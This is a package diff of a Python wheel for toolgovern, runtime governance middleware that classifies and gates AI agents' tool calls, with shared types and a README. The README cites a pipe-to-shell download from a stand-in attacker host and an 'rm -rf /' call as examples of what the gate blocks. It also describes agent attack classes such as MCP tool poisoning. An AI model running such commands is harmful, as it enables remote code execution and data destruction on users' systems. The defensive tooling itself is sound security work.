toolgovern-cli 0.1.1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- toolgovern/__init__.py +222 -0
- toolgovern/approval/__init__.py +25 -0
- toolgovern/approval/pending_registry.py +379 -0
- toolgovern/classifier/__init__.py +19 -0
- toolgovern/classifier/credential_access.py +180 -0
- toolgovern/classifier/cross_agent_inheritance.py +216 -0
- toolgovern/classifier/filesystem_scope.py +202 -0
- toolgovern/classifier/index.py +80 -0
- toolgovern/classifier/information_flow.py +154 -0
- toolgovern/classifier/network_egress.py +289 -0
- toolgovern/classifier/shell_risk.py +357 -0
- toolgovern/classifier/util.py +259 -0
- toolgovern/cli.py +298 -0
- toolgovern/mcp_trust/__init__.py +342 -0
- toolgovern/middleware/__init__.py +30 -0
- toolgovern/middleware/idempotency_cache.py +117 -0
- toolgovern/middleware/on_tool_call.py +538 -0
- toolgovern/policy/__init__.py +10 -0
- toolgovern/policy/load_policy.py +41 -0
- toolgovern/policy/validate_policy.py +106 -0
- toolgovern/py.typed +0 -0
- toolgovern/scoping/__init__.py +13 -0
- toolgovern/scoping/inheritance_enforcer.py +145 -0
- toolgovern/scoping/scope_declaration.py +84 -0
- toolgovern/shared/__init__.py +0 -0
- toolgovern/shared/paths.py +266 -0
- toolgovern/trace/__init__.py +33 -0
- toolgovern/trace/canonical_json.py +27 -0
- toolgovern/trace/trace_reader.py +206 -0
- toolgovern/trace/trace_writer.py +247 -0
- toolgovern/types.py +247 -0
- toolgovern_cli-0.1.1.dist-info/METADATA +337 -0
- toolgovern_cli-0.1.1.dist-info/RECORD +36 -0
- toolgovern_cli-0.1.1.dist-info/WHEEL +4 -0
- toolgovern_cli-0.1.1.dist-info/entry_points.txt +2 -0
- toolgovern_cli-0.1.1.dist-info/licenses/LICENSE +202 -0
toolgovern/types.py
ADDED
|
@@ -0,0 +1,247 @@
|
|
|
1
|
+
"""Shared types for the toolgovern middleware, classifier, scoping, and trace modules.
|
|
2
|
+
|
|
3
|
+
Ported from ``packages/toolgovern/src/types.ts``. A gate decision is always one of three
|
|
4
|
+
values -- there is no fourth "warn and continue" state, because a warning that does not
|
|
5
|
+
block execution is not governance, it is a log line.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
from dataclasses import dataclass, field
|
|
11
|
+
from typing import (
|
|
12
|
+
Any,
|
|
13
|
+
Callable,
|
|
14
|
+
Dict,
|
|
15
|
+
List,
|
|
16
|
+
Literal,
|
|
17
|
+
Mapping,
|
|
18
|
+
Optional,
|
|
19
|
+
Protocol,
|
|
20
|
+
Sequence,
|
|
21
|
+
Union,
|
|
22
|
+
runtime_checkable,
|
|
23
|
+
)
|
|
24
|
+
|
|
25
|
+
Decision = Literal["allow", "deny", "require-approval"]
|
|
26
|
+
|
|
27
|
+
# Where an ``agent_id`` came from when a gate decision was made: ``"explicit"`` means the
|
|
28
|
+
# caller passed ``agent_id=`` to ``govern_tool()`` directly; ``"fallback"`` means no agent_id
|
|
29
|
+
# was supplied and toolgovern used its default (``"default-agent"``). This is provenance, not
|
|
30
|
+
# proof -- toolgovern does not cryptographically verify that a caller actually is the agent it
|
|
31
|
+
# claims to be (see docs/security-model.md, "Agent identity is caller-asserted, not
|
|
32
|
+
# cryptographically verified").
|
|
33
|
+
AgentIdSource = Literal["explicit", "fallback"]
|
|
34
|
+
|
|
35
|
+
# The v0.1-and-later risk-rule categories. TG06 (high-risk tool combinations across a session)
|
|
36
|
+
# and TG07 (retrying a denied call with modified arguments) are reserved names for two rule
|
|
37
|
+
# categories that still need cross-call session state this classifier does not yet keep, and
|
|
38
|
+
# have deliberately not been claimed here. TG08 (information-flow control) is per-call, needs no
|
|
39
|
+
# session state, and ships now -- see classifier/information_flow.py.
|
|
40
|
+
RuleCategory = Literal["TG01", "TG02", "TG03", "TG04", "TG05", "TG08"]
|
|
41
|
+
|
|
42
|
+
# A confidentiality label for information-flow-control (IFC) checks (TG08): a fixed, closed,
|
|
43
|
+
# ordered set from least to most sensitive -- "public" < "internal" < "confidential" <
|
|
44
|
+
# "restricted". See classifier/information_flow.py's module docstring for what a real IFC
|
|
45
|
+
# lattice would add that this deliberately does not.
|
|
46
|
+
ConfidentialityLabel = Literal["public", "internal", "confidential", "restricted"]
|
|
47
|
+
|
|
48
|
+
# A network scope value: False (no access), True (unrestricted), or an explicit hostname
|
|
49
|
+
# allowlist.
|
|
50
|
+
NetworkScope = Union[bool, Sequence[str]]
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
@dataclass(frozen=True)
|
|
54
|
+
class IfcPolicy:
|
|
55
|
+
"""The caller-declared information-flow-control labeling for one agent's tool wrapping,
|
|
56
|
+
consumed by TG08 (``classifier/information_flow.py``). This is a hand-declared labeling
|
|
57
|
+
API, not automatic inference -- toolgovern has no way to know a resource's real
|
|
58
|
+
confidentiality level or a destination's real trust tier from a bare tool-call argument, so
|
|
59
|
+
TG08 only ever evaluates labels the caller explicitly declares here.
|
|
60
|
+
|
|
61
|
+
``sources`` maps a resource identifier (whatever string a call's declared source argument
|
|
62
|
+
names) to the ``ConfidentialityLabel`` it carries. ``sink_trust`` maps a destination
|
|
63
|
+
identifier to the highest ``ConfidentialityLabel`` that destination is trusted to receive.
|
|
64
|
+
A destination absent from ``sink_trust`` is undeclared, not "declared untrusted" -- TG08
|
|
65
|
+
treats that as ambiguous and requires human approval, never a silent allow.
|
|
66
|
+
"""
|
|
67
|
+
|
|
68
|
+
sources: Mapping[str, ConfidentialityLabel] = field(default_factory=dict)
|
|
69
|
+
sink_trust: Mapping[str, ConfidentialityLabel] = field(default_factory=dict)
|
|
70
|
+
|
|
71
|
+
|
|
72
|
+
@dataclass(frozen=True)
|
|
73
|
+
class ScopeDeclaration:
|
|
74
|
+
"""A per-agent declared scope.
|
|
75
|
+
|
|
76
|
+
``network`` is either ``False`` (no network access at all), ``True`` (unrestricted --
|
|
77
|
+
discouraged, but supported for local/dev use), or an explicit allowlist of hostnames.
|
|
78
|
+
``filesystem`` is a list of path prefixes the agent may read/write/delete under.
|
|
79
|
+
``credentials`` is a list of credential identifiers (file paths, secret names) the agent
|
|
80
|
+
may access. ``ifc``, when supplied, declares the confidentiality/trust labeling TG08
|
|
81
|
+
evaluates; ``None`` (the default) means TG08 never fires for this agent -- opt-in, not a
|
|
82
|
+
behavior change for existing callers who never declare it.
|
|
83
|
+
"""
|
|
84
|
+
|
|
85
|
+
network: NetworkScope = False
|
|
86
|
+
filesystem: Sequence[str] = field(default_factory=tuple)
|
|
87
|
+
credentials: Sequence[str] = field(default_factory=tuple)
|
|
88
|
+
ifc: Optional[IfcPolicy] = None
|
|
89
|
+
|
|
90
|
+
|
|
91
|
+
@dataclass(frozen=True)
|
|
92
|
+
class RuleOverrides:
|
|
93
|
+
"""Rule-level overrides a policy file can apply on top of the shipped rule pack defaults."""
|
|
94
|
+
|
|
95
|
+
disable: Sequence[str] = field(default_factory=tuple)
|
|
96
|
+
require_approval: Sequence[str] = field(default_factory=tuple)
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
@dataclass(frozen=True)
|
|
100
|
+
class Policy:
|
|
101
|
+
"""A loaded (or inline) policy.
|
|
102
|
+
|
|
103
|
+
``load_policy()`` returns this shape directly from a YAML file, and ``govern_tool()``
|
|
104
|
+
accepts it as-is -- so a policy loaded from disk and an inline options object are the same
|
|
105
|
+
type, which keeps the "wrap a tool" call site small.
|
|
106
|
+
"""
|
|
107
|
+
|
|
108
|
+
scope: ScopeDeclaration
|
|
109
|
+
policy: Optional[str] = None
|
|
110
|
+
name: Optional[str] = None
|
|
111
|
+
rules: Optional[RuleOverrides] = None
|
|
112
|
+
default_decision: Decision = "allow"
|
|
113
|
+
agent_id: Optional[str] = None
|
|
114
|
+
session_id: Optional[str] = None
|
|
115
|
+
coordinator_id: Optional[str] = None
|
|
116
|
+
|
|
117
|
+
|
|
118
|
+
@dataclass(frozen=True)
|
|
119
|
+
class AgentScopeRecord:
|
|
120
|
+
"""What the scoping registry recorded for one agent.
|
|
121
|
+
|
|
122
|
+
The scope it requested at spawn time (only meaningful for sub-agents) and the scope
|
|
123
|
+
actually granted after default-deny inheritance was applied against its coordinator's own
|
|
124
|
+
scope.
|
|
125
|
+
"""
|
|
126
|
+
|
|
127
|
+
agent_id: str
|
|
128
|
+
session_id: str
|
|
129
|
+
granted_scope: ScopeDeclaration
|
|
130
|
+
coordinator_id: Optional[str] = None
|
|
131
|
+
requested_scope: Optional[ScopeDeclaration] = None
|
|
132
|
+
|
|
133
|
+
|
|
134
|
+
@runtime_checkable
|
|
135
|
+
class ScopeRegistryReader(Protocol):
|
|
136
|
+
"""The minimal read surface TG05 needs from the scoping registry."""
|
|
137
|
+
|
|
138
|
+
def get_record(self, agent_id: str) -> Optional[AgentScopeRecord]: ...
|
|
139
|
+
|
|
140
|
+
|
|
141
|
+
@dataclass(frozen=True)
|
|
142
|
+
class RuleContext:
|
|
143
|
+
"""The normalized input every classifier rule evaluates against."""
|
|
144
|
+
|
|
145
|
+
agent_id: str
|
|
146
|
+
session_id: str
|
|
147
|
+
tool: str
|
|
148
|
+
args: Mapping[str, Any]
|
|
149
|
+
scope: ScopeDeclaration
|
|
150
|
+
coordinator_id: Optional[str] = None
|
|
151
|
+
# Present only when the caller wired a ScopeRegistry into classify(); used by TG05.
|
|
152
|
+
scope_registry: Optional[ScopeRegistryReader] = None
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
@dataclass(frozen=True)
|
|
156
|
+
class RuleMatch:
|
|
157
|
+
"""A single fired rule's result. ``decision`` is never ``"allow"`` -- a rule either fires
|
|
158
|
+
or it doesn't."""
|
|
159
|
+
|
|
160
|
+
rule_id: str
|
|
161
|
+
category: RuleCategory
|
|
162
|
+
decision: Decision
|
|
163
|
+
reason: str
|
|
164
|
+
matched_argument: Optional[str] = None
|
|
165
|
+
|
|
166
|
+
|
|
167
|
+
@runtime_checkable
|
|
168
|
+
class Rule(Protocol):
|
|
169
|
+
"""A classifier rule: pure function from call context to an optional match."""
|
|
170
|
+
|
|
171
|
+
id: str
|
|
172
|
+
category: RuleCategory
|
|
173
|
+
description: str
|
|
174
|
+
|
|
175
|
+
def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]: ...
|
|
176
|
+
|
|
177
|
+
|
|
178
|
+
@dataclass(frozen=True)
|
|
179
|
+
class ClassifierResult:
|
|
180
|
+
"""The classifier's aggregate verdict for one tool call."""
|
|
181
|
+
|
|
182
|
+
decision: Decision
|
|
183
|
+
fired_rules: Sequence[RuleMatch]
|
|
184
|
+
|
|
185
|
+
|
|
186
|
+
@dataclass(frozen=True)
|
|
187
|
+
class TraceEntryInput:
|
|
188
|
+
"""What the caller supplies to ``TraceWriter.append()`` for one gate decision."""
|
|
189
|
+
|
|
190
|
+
session_id: str
|
|
191
|
+
agent_id: str
|
|
192
|
+
tool: str
|
|
193
|
+
args: Mapping[str, Any]
|
|
194
|
+
decision: Decision
|
|
195
|
+
rule_fired: Sequence[str]
|
|
196
|
+
declared_scope: ScopeDeclaration
|
|
197
|
+
approved_by: Optional[str] = None
|
|
198
|
+
agent_id_source: Optional[AgentIdSource] = None
|
|
199
|
+
|
|
200
|
+
|
|
201
|
+
@dataclass(frozen=True)
|
|
202
|
+
class TraceEntry:
|
|
203
|
+
"""One append-only, signed trace record.
|
|
204
|
+
|
|
205
|
+
``signature`` is either ``sha256:<hex>`` (an unkeyed content hash of everything except
|
|
206
|
+
``signature`` itself -- the default) or ``hmac-sha256:<hex>`` (a keyed signature, when
|
|
207
|
+
``TraceWriter`` is given a ``secret_key``). ``prior_trace_id`` chains this entry to the one
|
|
208
|
+
before it in the same session -- together these let a reader detect a missing, reordered,
|
|
209
|
+
or tampered entry.
|
|
210
|
+
"""
|
|
211
|
+
|
|
212
|
+
trace_id: str
|
|
213
|
+
timestamp: str
|
|
214
|
+
session_id: str
|
|
215
|
+
agent_id: str
|
|
216
|
+
tool: str
|
|
217
|
+
arguments_hash: str
|
|
218
|
+
decision: Decision
|
|
219
|
+
rule_fired: Sequence[str]
|
|
220
|
+
declared_scope: ScopeDeclaration
|
|
221
|
+
signature: str
|
|
222
|
+
prior_trace_id: Optional[str]
|
|
223
|
+
agent_id_source: Optional[AgentIdSource] = None
|
|
224
|
+
approved_by: Optional[str] = None
|
|
225
|
+
|
|
226
|
+
def to_dict(self) -> Dict[str, Any]:
|
|
227
|
+
return {
|
|
228
|
+
"trace_id": self.trace_id,
|
|
229
|
+
"timestamp": self.timestamp,
|
|
230
|
+
"session_id": self.session_id,
|
|
231
|
+
"agent_id": self.agent_id,
|
|
232
|
+
"tool": self.tool,
|
|
233
|
+
"arguments_hash": self.arguments_hash,
|
|
234
|
+
"decision": self.decision,
|
|
235
|
+
"rule_fired": list(self.rule_fired),
|
|
236
|
+
"declared_scope": {
|
|
237
|
+
"network": self.declared_scope.network
|
|
238
|
+
if isinstance(self.declared_scope.network, bool)
|
|
239
|
+
else list(self.declared_scope.network),
|
|
240
|
+
"filesystem": list(self.declared_scope.filesystem),
|
|
241
|
+
"credentials": list(self.declared_scope.credentials),
|
|
242
|
+
},
|
|
243
|
+
"agent_id_source": self.agent_id_source,
|
|
244
|
+
"signature": self.signature,
|
|
245
|
+
"prior_trace_id": self.prior_trace_id,
|
|
246
|
+
"approved_by": self.approved_by,
|
|
247
|
+
}
|
|
@@ -0,0 +1,337 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: toolgovern-cli
|
|
3
|
+
Version: 0.1.1
|
|
4
|
+
Summary: Runtime governance middleware for AI agent tool calls -- gate shell, filesystem, network, and credential access before a tool executes.
|
|
5
|
+
Project-URL: Homepage, https://github.com/RudrenduPaul/toolgovern
|
|
6
|
+
Project-URL: Repository, https://github.com/RudrenduPaul/toolgovern
|
|
7
|
+
Project-URL: Bug Tracker, https://github.com/RudrenduPaul/toolgovern/issues
|
|
8
|
+
Project-URL: Changelog, https://github.com/RudrenduPaul/toolgovern/blob/main/CHANGELOG.md
|
|
9
|
+
Project-URL: Documentation, https://github.com/RudrenduPaul/toolgovern/blob/main/docs/getting-started.md
|
|
10
|
+
Project-URL: Author - Rudrendu Paul, https://github.com/RudrenduPaul
|
|
11
|
+
Project-URL: Author - Sourav Nandy, https://github.com/Sourav-nandy-ai
|
|
12
|
+
Author: Rudrendu Paul, Sourav Nandy
|
|
13
|
+
License-Expression: Apache-2.0
|
|
14
|
+
License-File: LICENSE
|
|
15
|
+
Keywords: agent-governance,ai-agents,audit-trail,cli,mcp,runtime-security,security,tool-calling
|
|
16
|
+
Classifier: Development Status :: 3 - Alpha
|
|
17
|
+
Classifier: Environment :: Console
|
|
18
|
+
Classifier: Intended Audience :: Developers
|
|
19
|
+
Classifier: License :: OSI Approved :: Apache Software License
|
|
20
|
+
Classifier: Operating System :: OS Independent
|
|
21
|
+
Classifier: Programming Language :: Python :: 3
|
|
22
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
23
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
24
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
25
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
26
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
27
|
+
Classifier: Topic :: Security
|
|
28
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
29
|
+
Requires-Python: >=3.9
|
|
30
|
+
Requires-Dist: cryptography<49,>=48.0.1
|
|
31
|
+
Requires-Dist: pyyaml<7,>=6.0
|
|
32
|
+
Provides-Extra: dev
|
|
33
|
+
Requires-Dist: build<2,>=1.0; extra == 'dev'
|
|
34
|
+
Requires-Dist: pytest<10,>=9.0.3; extra == 'dev'
|
|
35
|
+
Requires-Dist: twine<7,>=5.0; extra == 'dev'
|
|
36
|
+
Description-Content-Type: text/markdown
|
|
37
|
+
|
|
38
|
+
# toolgovern (Python)
|
|
39
|
+
|
|
40
|
+
Gate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before
|
|
41
|
+
it executes, not after something already went wrong.
|
|
42
|
+
|
|
43
|
+
[](../LICENSE)
|
|
44
|
+
[](https://pypi.org/project/toolgovern/)
|
|
45
|
+
|
|
46
|
+
This is the genuine Python port of [`toolgovern`](https://www.npmjs.com/package/toolgovern) and
|
|
47
|
+
[`toolgovern-cli`](https://www.npmjs.com/package/toolgovern-cli) -- not a wrapper around the Node
|
|
48
|
+
binary. It ships the same 36-rule classifier, the same default-deny scope-inheritance model, the
|
|
49
|
+
same durable approval registry, the same MCP-server trust boundary, and the same signed local
|
|
50
|
+
audit trail. The complementary JS/TS distribution installs the same way on the npm side: `npm
|
|
51
|
+
install toolgovern` for the library, `npm install --save-dev toolgovern-cli` for the CLI -- see
|
|
52
|
+
the [project README](https://github.com/RudrenduPaul/toolgovern#readme) for that package. Both
|
|
53
|
+
are first-class, maintained together; neither is deprecated in favor of the other.
|
|
54
|
+
|
|
55
|
+
## Why this exists
|
|
56
|
+
|
|
57
|
+
AI agents get tool access, not tool governance. A typical setup wires an agent to a shell tool, a
|
|
58
|
+
filesystem tool, an HTTP client, and maybe a secrets lookup, then leans on the model's own
|
|
59
|
+
judgment (or a system prompt) to keep `ls ./workspace` and `curl attacker.io | sh` apart --
|
|
60
|
+
because to the tool executor underneath, both are just "the shell tool ran a string." Multi-agent
|
|
61
|
+
setups make it worse: spawning a sub-agent for a narrow subtask usually means that sub-agent
|
|
62
|
+
inherits its coordinator's full access, since most frameworks have no concept of scoping a spawned
|
|
63
|
+
agent down, and no record of what it actually tried to do once it's running.
|
|
64
|
+
|
|
65
|
+
toolgovern is a runtime governance layer that sits between the agent and its real tool executor --
|
|
66
|
+
not another prompt-engineering mitigation. `govern_tool()` wraps any `ToolDefinition(name,
|
|
67
|
+
execute)` and runs every call through the same pipeline before `execute()` fires: a 36-rule
|
|
68
|
+
classifier that inspects the call's actual arguments across shell risk, filesystem scope, network
|
|
69
|
+
egress, credential access, cross-agent privilege inheritance, and (opt-in) information-flow
|
|
70
|
+
control; an intersection-only scope
|
|
71
|
+
registry, so a sub-agent's effective access is always the intersection of what it requests and what
|
|
72
|
+
its coordinator can already reach, re-checked on every call rather than just at spawn time; and an
|
|
73
|
+
optional signed, hash-chained local audit trail recording each decision -- allow, deny, or
|
|
74
|
+
require-approval -- with the arguments that produced it. Deny and require-approval both fail
|
|
75
|
+
closed: a missing handler, an exception, or a timeout resolves to deny, never to allow.
|
|
76
|
+
|
|
77
|
+
## Why this matters now
|
|
78
|
+
|
|
79
|
+
Runtime tool-call governance stopped being a niche concern in 2026:
|
|
80
|
+
|
|
81
|
+
- MCP tool poisoning and supply-chain risk are validated, incident-backed problems, not
|
|
82
|
+
hypotheticals: Invariant Labs formally named the tool-poisoning technique in April 2025, the
|
|
83
|
+
Postmark MCP npm package suffered an insider-attack BCC backdoor in September 2025, roughly a
|
|
84
|
+
third of 1,000 scanned MCP servers were found carrying a critical vulnerability, and Microsoft
|
|
85
|
+
disclosed a poisoned-MCP-tool-description attack technique in July 2026
|
|
86
|
+
([The Hacker News](https://thehackernews.com/2026/06/microsoft-warns-poisoned-mcp-tool.html),
|
|
87
|
+
[Cloud Security Alliance](https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-security-crisis-20260504-csa-styled/),
|
|
88
|
+
[Practical DevSecOps](https://www.practical-devsecops.com/mcp-security-statistics-2026-report/)).
|
|
89
|
+
- Microsoft shipped its own open-source Agent Governance Toolkit in April 2026, a runtime policy
|
|
90
|
+
engine that intercepts agent actions before execution
|
|
91
|
+
([opensource.microsoft.com](https://opensource.microsoft.com/blog/2026/04/02/introducing-the-agent-governance-toolkit-open-source-runtime-security-for-ai-agents/)).
|
|
92
|
+
It's an unrelated project, cited here only because it confirms that gating a tool call before
|
|
93
|
+
it runs is now a first-party concern industry-wide, not something only this project cares
|
|
94
|
+
about.
|
|
95
|
+
- Microsoft also merged AutoGen and Semantic Kernel into Microsoft Agent Framework 1.0 (GA
|
|
96
|
+
2026-04-03), with first-class Python and .NET support under `Microsoft.Agents.AI`
|
|
97
|
+
([devblogs.microsoft.com](https://devblogs.microsoft.com/agent-framework/microsoft-agent-framework-version-1-0/),
|
|
98
|
+
[github.com/microsoft/agent-framework](https://github.com/microsoft/agent-framework)) -- the
|
|
99
|
+
framework this package ships a real, source-available Python integration for (see
|
|
100
|
+
[Framework integrations](#framework-integrations)).
|
|
101
|
+
- LangGraph passed CrewAI in GitHub stars in early 2026 on the strength of enterprise adoption of
|
|
102
|
+
its graph-based architecture ([langchain.com](https://www.langchain.com/resources/ai-agent-frameworks))
|
|
103
|
+
-- another framework this package ships a real Python integration for, using the actual
|
|
104
|
+
`wrap_tool_call` hook.
|
|
105
|
+
- The Claude Agent SDK passed AutoGen in enterprise production-deployment count in early-to-mid
|
|
106
|
+
2026, per the LangChain State of AI 2025 report, and ships a purpose-built `PreToolUse` hook --
|
|
107
|
+
exactly the hook this package's Claude Agent SDK integration wires `govern_tool()` into.
|
|
108
|
+
- Regulatory pressure on agentic AI is dated and real: the EU AI Act's high-risk obligations take
|
|
109
|
+
effect August 2026, the Colorado AI Act becomes enforceable June 2026, and OWASP published a
|
|
110
|
+
dedicated Top 10 for Agentic Applications for 2026.
|
|
111
|
+
- Google's A2A (Agent2Agent) protocol has crossed 150+ adopting organizations. Noted here as
|
|
112
|
+
ecosystem context, not a toolgovern capability -- this package governs a single agent's own tool
|
|
113
|
+
calls, not agent-to-agent protocol traffic.
|
|
114
|
+
|
|
115
|
+
None of this is a claim about toolgovern's own adoption. It's why gating a tool call before it
|
|
116
|
+
executes is worth doing at all right now.
|
|
117
|
+
|
|
118
|
+
## Install
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
pip install toolgovern
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
or with [uv](https://docs.astral.sh/uv/):
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
uv add toolgovern
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
Or install straight from this repository:
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
git clone https://github.com/RudrenduPaul/toolgovern.git
|
|
134
|
+
cd toolgovern/python
|
|
135
|
+
pip install .
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
No separate install step and no external binary to fetch: the classifier, scoping
|
|
139
|
+
registry, approval registry, MCP-trust boundary, and trace engine all ship inside the one
|
|
140
|
+
package. The console script is `toolgovern-cli`, matching the npm CLI's command name.
|
|
141
|
+
|
|
142
|
+
## Quick start
|
|
143
|
+
|
|
144
|
+
```python
|
|
145
|
+
from toolgovern import ToolDefinition, GovernToolOptions, govern_tool, ScopeDeclaration, ToolGovernDenialError
|
|
146
|
+
|
|
147
|
+
def run_shell(args):
|
|
148
|
+
import subprocess
|
|
149
|
+
return subprocess.run(args["command"], shell=True, capture_output=True, text=True)
|
|
150
|
+
|
|
151
|
+
shell_tool = ToolDefinition(name="shell", execute=run_shell)
|
|
152
|
+
gated_shell = govern_tool(shell_tool, GovernToolOptions(scope=ScopeDeclaration()))
|
|
153
|
+
|
|
154
|
+
try:
|
|
155
|
+
gated_shell.execute({"command": "rm -rf /"})
|
|
156
|
+
except ToolGovernDenialError as e:
|
|
157
|
+
print(e) # denied before subprocess.run() ever runs
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
Or load a policy file:
|
|
161
|
+
|
|
162
|
+
```python
|
|
163
|
+
from toolgovern import load_policy, GovernToolOptions, govern_tool
|
|
164
|
+
|
|
165
|
+
policy = load_policy("./toolgovern.policy.yml")
|
|
166
|
+
gated_shell = govern_tool(shell_tool, GovernToolOptions.from_policy(policy))
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
## What it does
|
|
170
|
+
|
|
171
|
+
The classifier evaluates a tool call's actual arguments, not the tool's name, against 36 rules
|
|
172
|
+
across 6 categories:
|
|
173
|
+
|
|
174
|
+
| Category | Covers | Rules |
|
|
175
|
+
| -------- | --------------------------------- | ----- |
|
|
176
|
+
| TG01 | Shell/process execution risk | 9 |
|
|
177
|
+
| TG02 | Filesystem scope escalation | 7 |
|
|
178
|
+
| TG03 | Undeclared network egress | 7 |
|
|
179
|
+
| TG04 | Credential/secret access | 6 |
|
|
180
|
+
| TG05 | Cross-agent privilege inheritance | 6 |
|
|
181
|
+
| TG08 | Information-flow control (opt-in) | 1 |
|
|
182
|
+
|
|
183
|
+
TG03's 7th rule, `TG03-dns-resolves-private`, resolves a hostname argument via
|
|
184
|
+
`socket.getaddrinfo()` (honoring `/etc/hosts`) and applies the same loopback/RFC1918/link-local/
|
|
185
|
+
cloud-metadata deny logic already used for raw IP literals to every resolved address -- so a
|
|
186
|
+
hostname that merely _resolves to_ `127.0.0.1` or a cloud-metadata address is caught, not just a
|
|
187
|
+
raw IP literal argument. DNS-resolution failure or timeout fails closed (`require-approval`),
|
|
188
|
+
never allow. This narrows, but does not eliminate, DNS-rebinding TOCTOU: an attacker who controls
|
|
189
|
+
the hostname's DNS answer can still swap it after this check runs and before the tool's own HTTP
|
|
190
|
+
client connects -- see [`docs/security-model.md`](../docs/security-model.md) for the full, honest
|
|
191
|
+
writeup of that residual limitation and the still-open redirect-chain-revalidation gap.
|
|
192
|
+
|
|
193
|
+
`govern_tool()` wraps any `ToolDefinition(name, execute)` and returns a version that runs every
|
|
194
|
+
call through this pipeline before `execute()` runs: resolve the effective scope, classify the
|
|
195
|
+
call, resolve `require-approval` decisions through your handler (fail-closed on timeout,
|
|
196
|
+
exception, or no handler), write a trace entry if a `TraceWriter` is wired in, then raise
|
|
197
|
+
`ToolGovernDenialError` on `deny` or proceed to the real `execute()` on `allow`.
|
|
198
|
+
|
|
199
|
+
Per-agent scope inheritance (`ScopeRegistry`) is intersection-only: a sub-agent's granted scope
|
|
200
|
+
is always the intersection of what it requests and what its coordinator's own effective scope
|
|
201
|
+
actually covers -- never a union, never an implicit default-allow, and re-checked on every call
|
|
202
|
+
(not just at spawn time), so a coordinator's scope shrinking after a sub-agent was spawned is
|
|
203
|
+
caught on the sub-agent's next call.
|
|
204
|
+
|
|
205
|
+
## Also in this package
|
|
206
|
+
|
|
207
|
+
- `PendingApprovalRegistry` / `resume_pending_approval()` -- a durable, alias-tolerant registry
|
|
208
|
+
for `require-approval` decisions that need resolving out-of-band (a Slack button click, a
|
|
209
|
+
review queue) instead of answered synchronously in-process inside the 30-second
|
|
210
|
+
`on_approval_required` callback. `pending_id`s are always server-generated, never
|
|
211
|
+
caller-supplied, so an unrecognized ID resolves to `"not-found"`, never a silently-created
|
|
212
|
+
fresh approval. `register_alias()` lets a second identifier (a provider-rotated thread ID)
|
|
213
|
+
resolve to the same pending approval, and a resolved call is re-classified against any edited
|
|
214
|
+
arguments rather than trusting the original request. In-memory by default; back it with real
|
|
215
|
+
durable storage for a deployment that spans processes.
|
|
216
|
+
- `is_origin_allowed()` / `verify_mcp_server_manifest()` / `assert_mcp_server_trusted()` -- an
|
|
217
|
+
MCP-server trust boundary checked once at connection time, distinct from the per-call
|
|
218
|
+
classifier above: an explicit origin allowlist (no implicit subdomain trust unless you opt in
|
|
219
|
+
with a leading `*.` entry) plus detached Ed25519/RSA-SHA256 manifest signature verification
|
|
220
|
+
against a pinned public-key list, before any tool the server declares is ever trusted. Fails
|
|
221
|
+
closed on every path -- an unreachable manifest, an unknown key ID, or a signature that doesn't
|
|
222
|
+
verify all deny, they don't warn. This port fetches the manifest synchronously via
|
|
223
|
+
`urllib.request` (`govern_tool()` is synchronous end to end in this port); the TS original uses
|
|
224
|
+
`fetch()`. Same checks, same fail-closed outcomes, different language-appropriate I/O plumbing.
|
|
225
|
+
- `IdempotencyCache` -- an opt-in claim-before-execute primitive so a retried call doesn't
|
|
226
|
+
re-execute a side effect (payments, emails, trades) that already happened.
|
|
227
|
+
|
|
228
|
+
## API reference
|
|
229
|
+
|
|
230
|
+
Everything importable from `toolgovern` directly:
|
|
231
|
+
|
|
232
|
+
```python
|
|
233
|
+
from toolgovern import (
|
|
234
|
+
# middleware
|
|
235
|
+
govern_tool, GovernToolOptions, ToolDefinition, ToolGovernDenialError, InvalidAgentIdError,
|
|
236
|
+
GateDecisionInfo, ApprovalOutcome, IdempotencyCache, IdempotencyOptions,
|
|
237
|
+
resume_pending_approval, ResumePendingApprovalOptions, PendingApprovalNotResolvableError,
|
|
238
|
+
# approval registry
|
|
239
|
+
PendingApprovalRegistry, PendingApproval, ApprovalResolutionDecision, PendingApprovalStatus,
|
|
240
|
+
ResolvePendingInput, ResolvePendingOutcome, ResolvePendingStatus,
|
|
241
|
+
PendingApprovalAliasConflictError, UnknownPendingApprovalError,
|
|
242
|
+
# mcp-server trust boundary
|
|
243
|
+
is_origin_allowed, verify_mcp_server_manifest, assert_mcp_server_trusted, McpTrustPolicy,
|
|
244
|
+
PinnedPublicKey, McpServerConnectionRequest, McpManifestEnvelope, McpTrustVerdict,
|
|
245
|
+
McpTrustDecision, McpTrustAlgorithm,
|
|
246
|
+
# classifier
|
|
247
|
+
classify, ClassifyOptions, rule_registry,
|
|
248
|
+
# scoping
|
|
249
|
+
ScopeRegistry, SpawnSubAgentParams, compute_inherited_scope, has_zero_capability,
|
|
250
|
+
is_valid_agent_id, is_valid_scope_declaration, normalize_scope, EMPTY_SCOPE,
|
|
251
|
+
# trace
|
|
252
|
+
TraceWriter, TraceWriterOptions, read_trace, filter_trace, verify_chain, parse_since,
|
|
253
|
+
canonical_json, compute_entry_signature, compute_entry_content_hash,
|
|
254
|
+
# policy
|
|
255
|
+
load_policy, validate_policy, as_policy, PolicyValidationError,
|
|
256
|
+
